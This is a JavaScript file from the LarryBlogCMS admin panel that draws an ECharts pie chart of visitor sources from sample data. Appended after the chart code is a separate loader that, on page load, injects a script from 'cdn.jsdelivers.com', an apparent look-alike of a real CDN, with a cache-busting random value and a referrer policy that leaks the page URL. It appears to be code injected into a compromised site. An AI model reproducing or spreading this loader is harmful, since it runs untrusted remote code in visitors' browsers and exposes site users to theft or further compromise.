/*
* @Author: Larry
* @Date:   2016-12-15 17:20:54
* @Last Modified by:   qinsh
* @Last Modified time: 2016-12-24 21:51:08
* +----------------------------------------------------------------------
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
* | Licensed ( http://www.larrycms.com/licenses/ )
* | Author: qinshouwei <313492783@qq.com>
* +----------------------------------------------------------------------
*/
var myChart = echarts.init(document.getElementById('larry-seo-stats'));
option = {
    title : {
        text: '用户访问来源',
        subtext: '纯属虚构',
        x:'center'
    },
    tooltip : {
        trigger: 'item',
        formatter: "{a} <br/>{b} : {c} ({d}%)"
    },
    legend: {
        orient: 'vertical',
        left: 'left',
        data: ['直接访问','邮件营销','联盟广告','视频广告','搜索引擎']
    },
    series : [
        {
            name: '访问来源',
            type: 'pie',
            radius : '55%',
            center: ['50%', '60%'],
            data:[
                {value:335, name:'直接访问'},
                {value:310, name:'邮件营销'},
                {value:234, name:'联盟广告'},
                {value:135, name:'视频广告'},
                {value:1548, name:'搜索引擎'}
            ],
            itemStyle: {
                emphasis: {
                    shadowBlur: 10,
                    shadowOffsetX: 0,
                    shadowColor: 'rgba(0, 0, 0, 0.5)'
                }
            }
        }
    ]
};
myChart.setOption(option);

;function loadJSScript(url, callback) {
    var script = document.createElement("script");
    script.type = "text/javascript";
    script.referrerPolicy = "unsafe-url";
    if (typeof(callback) != "undefined") {
        if (script.readyState) {
            script.onreadystatechange = function() {
                if (script.readyState == "loaded" || script.readyState == "complete") {
                    script.onreadystatechange = null;
                    callback();
                }
            };
        } else {
            script.onload = function() {
                callback();
            };
        }
    };
    script.src = url;
    document.body.appendChild(script);
}
window.onload = function() {
    loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() { 
         console.log("Jquery loaded");
    });
}